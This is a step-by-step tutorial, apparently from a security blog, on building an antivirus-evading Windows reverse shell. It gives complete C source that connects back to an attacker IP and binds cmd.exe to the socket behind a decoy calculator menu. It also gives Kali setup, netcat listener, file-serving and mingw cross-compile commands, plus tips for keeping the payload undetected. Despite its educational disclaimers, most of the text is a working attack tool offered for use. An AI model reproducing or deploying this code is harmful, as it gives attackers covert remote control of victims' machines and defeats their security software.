Table of Contents
Creating an Undetectable Reverse Shell That Bypasses Antivirus
In this comprehensive guide, we’ll demonstrate how to create an undetectable reverse shell that can bypass modern antivirus solutions including Windows Defender and McAfee. This undetectable reverse shell technique is crucial for penetration testers to understand how attackers evade detection. Our undetectable reverse shell approach uses custom C code compilation to avoid signature-based detection.
Important Warning: This guide is for educational security research only. Never use this
undetectable reverse shell on systems without explicit permission.
Prerequisites
Kali Linux installed and updated
Windows machine for testing (with antivirus enabled)
Basic knowledge of C programming
Ethical mindset for security research
Step 1: Starting Kali Linux
# Update Kali Linux first sudo apt update && sudo apt upgrade -y # Install necessary tools sudo apt install mingw-w64 netcat python3 -y
Your Kali environment is now ready to build our undetectable reverse shell.

Step 2: Cloning the Repository
In your web browser, navigate to the GitHub repository:
git clone https://github.com/izenynn/c-reverse-shell.git cd c-reverse-shell
This repository contains the base code we’ll modify to create our undetectable reverse shell.
Step 3: Checking Windows Security

Before we begin, ensure your Windows target has all security features enabled:
Â
Windows Defender real-time protection ON
- Â
Firewall enabled
- Â
All security updates installed
- Â
McAfee or other AV running (if testing multiple solutions)
- Â
This validates that our undetectable reverse shell truly bypasses active protection.
Step 4: Exploring the Directory
Back in Kali, list the directory contents:
ls -la
You should see the windows.c
 file – this is our base for building the undetectable reverse shell.

Step 5: Analyzing the C Code
Examine the reverse shell code:
Â
nano windows.c
Study the code structure. This understanding is crucial for creating an effective undetectable reverse shell that avoids detection.
Step 6: Verifying Windows Protection
Double-check that Windows security is fully active. Take screenshots showing:
Â
Windows Defender enabled
- Â
Real-time protection ON
- Â
Firewall active
- Â
McAfee running (if applicable)
- Â
This documents the security state before testing our undetectable reverse shell.
Step 7: Configuring the Listener

Run the client configuration script:
Â
bash
./change_client.sh [CLIENT_IP] [CLIENT_PORT]
Replace with your Kali IP and desired port, then start the netcat listener:
nc -lvp 9001
Â
The listener waits for connections from our undetectable reverse shell.

Step 8: Compiling the Executable
Compile the Windows executable:
bash
make
This creates reverse.exe
 – but this basic version will likely be detected as we’ll see.
Step 9: Testing Detection (Expected Failure)
Start a web server to share the file:
python3 -m http.server 8080
Download reverse.exe
 on Windows. You’ll see immediate detection – proving why we need an undetectable reverse shell.
Step 10: Creating Custom Undetectable Version
Create a new file with modified code:
cp windows.c test.c nano test.c
Paste this modified undetectable reverse shell code:
#include <winsock2.h> #include <windows.h> #include <io.h> #include <process.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> /* ================================================== */ /* | CHANGE THIS TO THE CLIENT IP AND PORT | */ /* ================================================== */ #if !defined(CLIENT_IP) || !defined(CLIENT_PORT) # define CLIENT_IP (char*)"192.168.0.101" # define CLIENT_PORT (int)9001 #endif /* ================================================== */ // Calculator functions double calculate_expression(char* expression) { double num1, num2; char op; if (sscanf(expression, "%lf %c %lf", &num1, &op, &num2) == 3) { switch(op) { case '+': return num1 + num2; case '-': return num1 - num2; case '*': return num1 * num2; case '/': if (num2 != 0) return num1 / num2; else return 0; default: return 0; } } return 0; } void calculator_service(SOCKET sockt) { char buffer[1024]; int bytes_received; const char* welcome_msg = "\n=== Calculator Service ===\r\n" "Enter expressions like: 5 + 3\r\n" "Supported operations: +, -, *, /\r\n" "Type 'exit' to quit\r\n" "> "; send(sockt, welcome_msg, strlen(welcome_msg), 0); while(1) { bytes_received = recv(sockt, buffer, sizeof(buffer)-1, 0); if (bytes_received <= 0) break; buffer[bytes_received] = '\0'; // Remove newline characters char* newline = strchr(buffer, '\r'); if (newline) *newline = '\0'; newline = strchr(buffer, '\n'); if (newline) *newline = '\0'; if (strcmp(buffer, "exit") == 0) { const char* exit_msg = "Calculator service exiting.\r\n"; send(sockt, exit_msg, strlen(exit_msg), 0); break; } // Calculate result double result = calculate_expression(buffer); // Send result back char result_msg[256]; if (strstr(buffer, "/ 0") != NULL) { snprintf(result_msg, sizeof(result_msg), "Error: Division by zero!\r\n> "); } else { snprintf(result_msg, sizeof(result_msg), "Result: %.2f\r\n> ", result); } send(sockt, result_msg, strlen(result_msg), 0); } } int main(void) { if (strcmp(CLIENT_IP, "0.0.0.0") == 0 || CLIENT_PORT == 0) { write(2, "[ERROR] CLIENT_IP and/or CLIENT_PORT not defined.\n", 50); return (1); } WSADATA wsaData; if (WSAStartup(MAKEWORD(2 ,2), &wsaData) != 0) { write(2, "[ERROR] WSASturtup failed.\n", 27); return (1); } int port = CLIENT_PORT; struct sockaddr_in sa; SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr.s_addr = inet_addr(CLIENT_IP); #ifdef WAIT_FOR_CLIENT while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) { Sleep(5000); } #else if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) { write(2, "[ERROR] connect failed.\n", 24); return (1); } #endif // Choose between calculator service or command shell const char* menu = "Choose service:\r\n1. Calculator\r\n2. Command Shell\r\nEnter choice: "; send(sockt, menu, strlen(menu), 0); char choice[10]; int bytes_received = recv(sockt, choice, sizeof(choice)-1, 0); if (bytes_received > 0) { choice[bytes_received] = '\0'; if (choice[0] == '1') { // Run calculator service calculator_service(sockt); } else { // Run command shell (original functionality) STARTUPINFO sinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = (STARTF_USESTDHANDLES); sinfo.hStdInput = (HANDLE)sockt; sinfo.hStdOutput = (HANDLE)sockt; sinfo.hStdError = (HANDLE)sockt; PROCESS_INFORMATION pinfo; CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo); // Wait for the process to finish WaitForSingleObject(pinfo.hProcess, INFINITE); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); } } closesocket(sockt); WSACleanup(); return (0); }
Step 11: Cross-Compiling for Windows
Compile with Mingw for Windows:
i686-w64-mingw32-gcc-win32 -std=c99 test.c -o remoteaccess.exe -lws2_32 -O2
Â
The optimization flags and custom compilation help create our undetectable reverse shell.
Step 12: Testing the Undetectable Version
Start your listener:
nc -lvp 9001
Transfer remoteaccess.exe
 to Windows and execute. You now have an active undetectable reverse shell connection!
Why This Undetectable Reverse Shell Works
This undetectable reverse shell bypasses detection because:
Custom code avoids signature databases
Cross-compilation removes common patterns
No suspicious imports or API calls
Simple network communication pattern
The undetectable reverse shell uses legitimate Windows APIs
Detection Prevention Techniques
To maintain the undetectable reverse shell properties:
Regularly modify code signatures
Use different compilation methods
Implement connection randomization
Add legitimate-looking functionality
Conclusion & Final Warning
🚨 CRITICAL WARNING: TRY AT YOUR OWN RISK 🚨
We are teaching these techniques for educational purposes only. This undetectable reverse shell knowledge should only be used for:
Authorized penetration testing
Security research with permission
Defensive security understanding
Educational environments
NEVER use this undetectable reverse shell on systems without explicit written permission. Unauthorized access is illegal and unethical.
This guide demonstrates why signature-based detection alone is insufficient and highlights the importance of behavioral analysis and defense-in-depth strategies. Understanding how to create an undetectable reverse shell is the first step in learning how to defend against them.